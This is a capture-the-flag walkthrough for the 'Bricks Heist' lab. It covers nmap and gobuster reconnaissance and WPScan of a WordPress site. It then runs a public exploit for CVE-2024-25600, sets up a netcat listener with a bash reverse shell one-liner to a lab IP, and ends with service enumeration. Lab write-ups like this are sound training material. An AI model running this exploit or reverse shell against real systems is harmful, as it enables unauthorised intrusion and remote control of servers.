# TryHack3M: Bricks Heist

#### Add hostname to host file <a href="#add-hostname-to-host-file" id="add-hostname-to-host-file"></a>

```
echo $VICTIM bricks.thm  >> /etc/hosts
cat /etc/hosts
```

## &#x20;<a href="#scans" id="scans"></a>

## **Scans** <a href="#scans" id="scans"></a>

Initial scan

**Kali**

```
nmap -A $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Ft88ydsRKVgTr61qO6HaO%2Fimage.png?alt=media&#x26;token=004a5c1a-b74c-457b-8442-ff08f72e76a4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F3pErkjXuUvRfKEKfFQf1%2Fimage.png?alt=media&#x26;token=103ad59e-0f7e-4263-8794-ca1823256896" alt=""><figcaption></figcaption></figure>



Longer scan

**Kali**

```
nmap -sV -sT -O -p 1-65535 $VICTIM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FrmLGfczrY5CODEhnlaaF%2Fimage.png?alt=media&#x26;token=323c3b89-60a7-4952-956a-26de43cee155" alt=""><figcaption></figcaption></figure>

## **TCP/80 - HTTP**

**Kali**

```
gobuster dir -u http://bricks.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

## **TCP/443 - HTTPS**

**Kali**

```
gobuster dir -k -u https://bricks.thm -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```







<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Ff2q5zmPmUZ9rUVG0xpr6%2Fimage.png?alt=media&#x26;token=e9bc982e-4b81-4d62-a42c-9ba8240eb844" alt=""><figcaption></figcaption></figure>



**Kali**

```
wpscan --url https://bricks.thm/ --disable-tls-checks
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FusHKxxhluSzm3jvJCzpJ%2Fimage.png?alt=media&#x26;token=d6afa438-d120-43b6-bb9f-8e73ac457f04" alt=""><figcaption></figcaption></figure>



**Kali**

```
git clone https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT.git
cd CVE-2024-25600-EXPLOIT/
python CVE-2024-25600.py -u https://bricks.thm/
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FTsMVLZFdZzZSH6GmechR%2Fimage.png?alt=media&#x26;token=e41fd1bc-036e-452c-abbc-77987d612bd1" alt=""><figcaption></figcaption></figure>

### Initial Shell <a href="#initial-shell" id="initial-shell"></a>

**Kali**

```
nc -lvnp 1337
```



**Kali(Shell)**

```
bash -c 'exec bash -i >& /dev/tcp/10.10.181.161/1337 0>&1'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FUORQiea0nE6UYjLYhdON%2Fimage.png?alt=media&#x26;token=02b64b0e-3a96-4d16-8b84-dd978f342b7e" alt=""><figcaption></figcaption></figure>



**Victim**

```
systemctl list-units --type=service --state=running
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FDgqNSIG0RLtsIZfqQtRk%2Fimage.png?alt=media&#x26;token=2ed1b24c-eb5e-415e-a73b-c4f7c52a2f0a" alt=""><figcaption></figcaption></figure>

**Victim**

```
systemctl cat ubuntu.service
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FAPjymqpCEbkE4XKG3BVH%2Fimage.png?alt=media&#x26;token=1d29ddb9-cae9-49d5-874b-a3f1c3015292" alt=""><figcaption></figcaption></figure>

